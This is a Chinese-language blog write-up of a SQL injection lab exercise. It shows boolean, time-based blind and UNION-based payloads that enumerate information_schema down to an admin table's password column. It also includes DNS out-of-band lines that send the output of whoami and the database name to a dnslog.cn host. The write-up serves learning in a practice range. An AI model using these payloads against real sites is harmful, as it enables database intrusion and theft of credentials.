x010

x010

厚积薄发

sql注入寫作

靶場篇#

點開頁面很明顯可以發現一個注入點
image.png
通過對其進行測試拼接 and 1=1 發現頁面可以正常顯示,並且當 and 1=2 時發現頁面異常
判斷可能是數字型
數字型可以不需要引號閉合,字符型構造的時候需要注意進行引號的閉合
image.png
order by 3 頁面報錯可以得出當前資料庫存在兩列,同時發現資料庫無回顯
and if(exists(select * from information_schema.tables limit 1),sleep(10),1)--
通過使用 if 判斷加上 exists 函數來查詢是否存在 information_schema.tables 這個表
如果存在會延遲 10 秒
如果不存在會返回數值 1,這個 1 在 if 判斷中代表為真,不會影響結果
簡單來說就是如果存在 information_schema.tables 這個表那麼就會延遲 10 秒,不存在頁面會正常執行不會延遲
image.png

在執行 linux 系統中執行 ping whoami.i0f4xk.dnslog.cn 因為 whoami 被反引號包裹,所以會先執行
whoami 命令,同理 ping $(whoami).i0f4xk.dnslog.cn 和上述代碼作用相同
但是如果直接在 dns 前添加 whoami 則並並不會輸出命令
同理在 windos 中,使用 ping % username%..i0f4xk.dnslog.cn 也可以執行命令 g

本人對 dns 泛解析原理還處於似懂非懂,希望有大佬可以詳解 dns 外帶原理。

?id=1 union select 1,load_file(concat("\\",(select database()),".eoumbx.dnslog.cn\abc")) --+
頁面正常但是 dnslog 外帶失敗

發現 dnslog 無法進行外帶,這時候陷入僵突然發現在?id=1 and 1=2 union select 1,2 中竟然有回顯頓時豁然開朗 (星際玩家表示很難發現。。。。)
image.png那麼直接就?id=1 and 1=2 union select 1,database () 查詢到當前表名為 maoshe
?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

information_schema 是一種特殊的資料庫,它在 SQL 標準中定義,用於存儲資料庫的元數據,包括資料庫、表、列、約束、權限等的信息。

table_schema 為 information_schema.tables 中查詢資料庫表名函數
columns_name 為 information_schema.columns 中查詢資料庫列名的函數

image.png
?id=1 and 1=2 union select 5,column_name from information_schema.columns where table_schema =database () and table_name ="admin" limit 0,1 通過參數偏移查詢到 admin 表單中有 id,username 和 password 列

通過查詢 information_schema.columns 中的 column_name 列可以反饋 admin 表的列名
當查詢表單的名稱與當前表單名稱相同時,使用 and 進行並操作,table_name= "admin" 也就是上一步查詢的 admin 才顯示
limit 參數用來進行對結果進行偏移,因為回顯只有一個,需要通過 limit x,y 進行調節
從第 x 個開始輸出 y 個

image.png
知道了表名和列名輸出數據就十分容易了

通過網上信息搜索發現可以利用 group_concat()函數進行數據的大量輸出
例如,?id=1 and 1=2 union select 5,group_concat (table_name) from information_schema.tables 可以輸出 table_name 的所有數據image.png
?id=1 and 1=2 union select 5,group_concat(column_name) from information_schema.columns where table_name ='xss'
image.png

接下來簡單說一下 sql 注入思路吧

1. 需要找到注入點
2. 進行判斷,判斷是字符型還是數字型,字符型需要進行適當的引號閉合,數字型不需要
3. 通過 orde by 對字段數進行判斷(方便後續對回顯點利用)
4. 通過聯合報錯查詢對回顯點進行判斷(如果無回顯就只能進行盲注了)
5. 通過 information_schema.tables 的 table_name 查詢表名(可以利用 limit 進行單個查詢也可以使用 group_concat 查詢)
6. 通過 information_schema.columns 的 cloumn_name 查詢列名

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。